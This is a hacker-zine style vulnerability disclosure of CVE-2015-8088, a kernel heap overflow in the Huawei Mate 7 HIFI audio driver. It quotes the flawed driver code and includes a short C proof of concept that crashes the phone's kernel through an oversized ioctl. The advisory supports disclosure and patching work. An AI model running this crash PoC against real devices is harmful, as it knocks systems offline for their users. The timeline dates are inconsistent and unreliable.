|=-----------------------------------------------------------------=| |=-----=[ D O N O T F U C K W I T H A H A C K E R ]=-----=| |=-----------------------------------------------------------------=| |=------------------------[ #5 File 0x03 ]-------------------------=| |=-----------------------------------------------------------------=| |=-------=[ CVE-2015-8088: Heap Overflow Vulnerability ]=----------=| |=--------=[ in the HIFI Driver of Huawei Smart Phone ]=-----------=| |=-----------------------------------------------------------------=| |=-----------------------=[ By Pray3r ]=-------------------------=| |=-----------------------------------------------------------------=| |=-----------------------------------------------------------------=| |=--------------------=[ Update: Jan 20 2016 ]=--------------------=| |=-----------------------------------------------------------------=| --[ Content 0x00. Summary 0x01. Description 0x02. Impact 0x03. Affected 0x04. Patch 0x05. Timeline 0x06. Reference --[ 0x00. Summary /dev/hifi_misc module of Huawei Mate 7 smart phone has an input check error, which allows the user-mode application to modify kernel-mode memory data and maybe make system break down or application elevate privilege. --[ 0x01. Description /dev/hifi_misc is an interface for a user-mode application to interact with kernel module of hisi chipset. It is very likely that hifi_misc is related with hifi audio features. Seen from drivers/hisi/hifidsp/hifi_lpp.c, one could send messages to hifi's kernel module by invoking ioctl() with HIFI_MISC_IOCTL_WRITE_PARAMS: < drivers/hisi/hifidsp/hifi_lpp.c > static long hifi_misc_ioctl(struct file *fd, unsigned int cmd, unsigned long arg) { [...] switch(cmd) { [...] case HIFI_MISC_IOCTL_WRITE_PARAMS : /* write algo param to hifi*/ ret = hifi_dsp_write_param(arg); break; [...] } [...] } < / > After ioctl(), hifi_dsp_write_param() is called with the parameter directly passed from user-space: < drivers/hisi/hifidsp/hifi_lpp.c > int hifi_dsp_write_param(unsigned long arg) { int ret = OK; phys_addr_t hifi_param_phy_addr = 0; void* hifi_param_vir_addr = NULL; CARM_HIFI_DYN_ADDR_SHARE_STRU* hifi_addr = NULL; struct misc_io_sync_param para; [...] if (copy_from_user(¶, (void*)arg, sizeof(struct misc_io_sync_param))) { // arg --> para loge("copy_from_user fail.\n"); ret = ERROR; goto error1; } [...] hifi_param_vir_addr = (unsigned char*)ioremap(hifi_param_phy_addr, SIZE_PARAM_PRIV); // heap alloc if (NULL == hifi_param_vir_addr) { loge("hifi_param_vir_addr ioremap fail\n"); ret = ERROR; goto error2; } [...] ret = copy_from_user(hifi_param_vir_addr, para.para_in, para.para_size_in); // heap overflow if ( ret != 0) { loge("copy data to hifi error! ret = %d", ret); } [...] } < / > Parameter arg is a struct pointer points to user-space memory. After initialization of hifi_dsp_write_param(), user-space memory pointed by arg is copied to para via copy_from_user(). Without any verification, all the member variables of para is fully controlled by user-space application. The struct of para: struct misc_io_sync_param { void * para_in; unsigned int para_size_in; void * para_out; unsigned int para_size_out; }; Next, a memory copy is invoked as copy_from_user(hifi_param_vir_addr, para.para_in, para.para_size_in) 1. hifi_param_vir_addr points to a kernel heap block allocated by ioremap(), regarded as the address of destination memory block. The size of the this heap block is SIZE_PARAM_PRIV (equals to 200 * 1024) bytes. 2. para.para_in is a pointer controlled by user-space, regarded as the address of original memory block. 3. para.para_size is an unsigned int controlled by user-space, regarded as the size of original memory block. Since there are not any verification of para_size and para_in, if para.para_size is larger than 200*1024, say 300*1024, a typical heap overflow is triggered. The source code of our poc: < poc.c > /* * * HuaWei Mate7 hifi driver Poc * * Writen by pray3r * */ #include #include #include #include #include #include #define HIFI_MISC_IOCTL_WRITE_PARAMS _IOWR('A', 0x75, struct misc_io_sync_param) struct misc_io_sync_param { void * para_in; unsigned int para_size_in; void * para_out; unsigned int para_size_out; }; int main(int arg, char **argv) { int fd; void *in = malloc(300 * 1024); void *out = malloc(100); struct misc_io_sync_param poc; poc.para_in = in; poc.para_size_in = 300 * 1024; poc.para_out = out; poc.para_size_out = 100; fd = open("/dev/hifi_misc", O_RDWR); ioctl(fd, HIFI_MISC_IOCTL_WRITE_PARAMS, &poc); free(in); free(out); return 0; } < / > Execute the crash_poc will break down Huawei Mate 7. Be aware that the poc should be executed under system or audio privilege, since /dev/hifi_misc is only writable to audio and system user. --[ 0x02. Impact The Kernel will panic if para.para_size being set by a large vaule, the smart phone will break down because of heap overflow inside kernel space, the problem is very hard to gain root. Because get_vm_area_node() called ioremap()[1], the function allocates a guard PAGE_SIZE page. Thanks for Dan Rosenberg.[2] --[ 0x03. Affected Model : HUAWEI MT7-TL10 Version : MT7-TL10V100R001CHNC00B133 Android : 4.4.2 Kernel : 3.10.30-00015-g049a08f Other models of Huawei smart phones with hisi chipset may also be affected. --[ 0x04. Patch More information: http://www1.huawei.com/en/security/psirt/security-bulletins/security-advisories/hw-460347.htm --[ 0x05. Timeline Sep 28 2015 - Report sent to Huawei PSIRT Sep 10 2015 - Huawei confirmed the security issues Nov 04 2015 - Huawei fixed and public the security issues Nov 09 2015 - Update CVE number --[ 0x05. Reference [1]. http://lxr.free-electrons.com/source/mm/vmalloc.c#L1351 [2]. http://seclists.org/oss-sec/2015/q4/532